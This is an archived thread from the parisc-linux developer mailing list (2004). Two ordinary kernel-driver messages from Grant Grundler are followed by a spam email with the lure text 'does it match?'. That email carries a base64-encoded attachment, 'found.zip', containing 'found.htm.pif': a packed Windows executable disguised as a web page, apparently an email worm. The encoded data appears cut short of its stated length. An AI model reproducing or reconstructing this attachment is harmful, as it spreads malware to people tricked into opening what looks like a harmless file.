James Bottomley observed a problem with hppa_dma_ops
not being set properly for his U2/Uturn box.
This is likely the same problem.
See ccio driver isn't claiming the chip when it should.

grant


From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 willy
Date: Mon, 22 Mar 2004 21:52:55 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20040323045255.GB6190@colo.lackof.org>
References: <20040321220309.EEF2A494553@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623294 7139 80.91.229.3 (22 Nov 2014 02:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Mon Mar 22 21:52:56 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A27674911
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 21:52:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 337B729809E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 21:52:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 06244-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 22 Mar 2004 21:52:55 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B154229808F; Mon, 22 Mar 2004 21:52:55 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040321220309.EEF2A494553@palinux.hppa>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 04:52:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21161

On Sun, Mar 21, 2004 at 03:03:09PM -0700, Matthew Wilcox wrote:
> Log message:
> Patch from Grant Grundler to use REQUEST_SENSE and INQUIRY instead of
> magic numbers.

Ta!

sorry for the "throw it over the fence" on that one.
But it was obvious enough I guess in this case.

thanks,
grant


From - Thu Nov 08 21:31:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mama_kans@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] excuse me
Date: Tue, 23 Mar 2004 11:52:19 +0530
Lines: 470
Approved: news@gmane.org
Message-ID: <20040323062218.019154875@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0008_00006988.00005B19"
X-Trace: ger.gmane.org 1416623294 7141 80.91.229.3 (22 Nov 2014 02:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:14 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: mama_kans@yahoo.com  Mon Mar 22 23:22:23 2004
Return-Path: <mama_kans@yahoo.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 019154875
	for <parisc-linux@parisc-linux.org>;
	Mon, 22 Mar 2004 23:22:17 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 23 Mar 2004 06:22:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21162

This is a multi-part message in MIME format.

------=_NextPart_000_0008_00006988.00005B19
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

does it match?

------=_NextPart_000_0008_00006988.00005B19
Content-Type: application/x-zip-compressed;
	name="found.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="found.zip"

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
